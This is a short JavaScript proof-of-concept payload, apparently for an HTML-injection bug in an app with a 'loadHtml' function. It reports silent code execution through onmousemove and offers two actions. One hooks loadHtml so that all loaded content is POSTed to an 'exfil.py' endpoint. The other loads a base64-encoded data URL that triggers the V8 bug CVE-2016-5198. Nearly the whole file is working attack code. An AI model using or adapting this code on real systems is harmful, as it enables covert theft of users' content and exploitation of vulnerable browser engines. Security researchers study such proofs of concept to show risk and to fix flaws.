Console
var console = document.getElementById("console");
document.getElementById("wrapperDiv").setAttribute("onmousemove", "");
function print(...args) {
for(var i = 0; i<args.length; i++) {
if(typeof args[i] !== "string") {
args[i] = args[i].toString();
}
console.innerText += (args[i] + "\r\n");
}
}
print("Code Execution achieved, silently, via onmousemove. Choose your action.");
function firePost(url, content) {
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.send(content);
}
function hookLoadHtml() {
if(window.originalLoadHtml) {
print("Already installed hook.");
return;
}
window.originalLoadHtml = window.loadHtml;
window.loadHtml = function(baseHtml, content, resetScroll, blockquote, invert) {
firePost("http://localhost/cgi-bin/exfil.py", content);
window.originalLoadHtml(baseHtml, content, resetScroll, blockquote, invert);
}
print("Hook installed.");
}
function cve20165198() {
// https://github.com/tunz/js-vuln-db/blob/master/v8/CVE-2016-5198.md
window.location.href = "data:text/html;base64,PHNjcmlwdD4KZnVuY3Rpb24gQ3RvcigpIHsKICBuID0gbmV3IFNldCgpOwp9CmZ1bmN0aW9uIENoZWNrKCkgewogIG4ueHl6ID0gMHg4MjY4NTJmNDsKICBwYXJzZUludCgpOwp9CmZvcih2YXIgaT0wOyBpPDIwMDA7ICsraSkgewogIEN0b3IoKTsKfQpmb3IodmFyIGk9MDsgaTwyMDAwOyArK2kpIHsKICBDaGVjaygpOwp9CkN0b3IoKTsKQ2hlY2soKTsKPC9zY3JpcHQ+";
}
document.getElementById("exfil").addEventListener("click", hookLoadHtml);
document.getElementById("crash").addEventListener("click", cve20165198);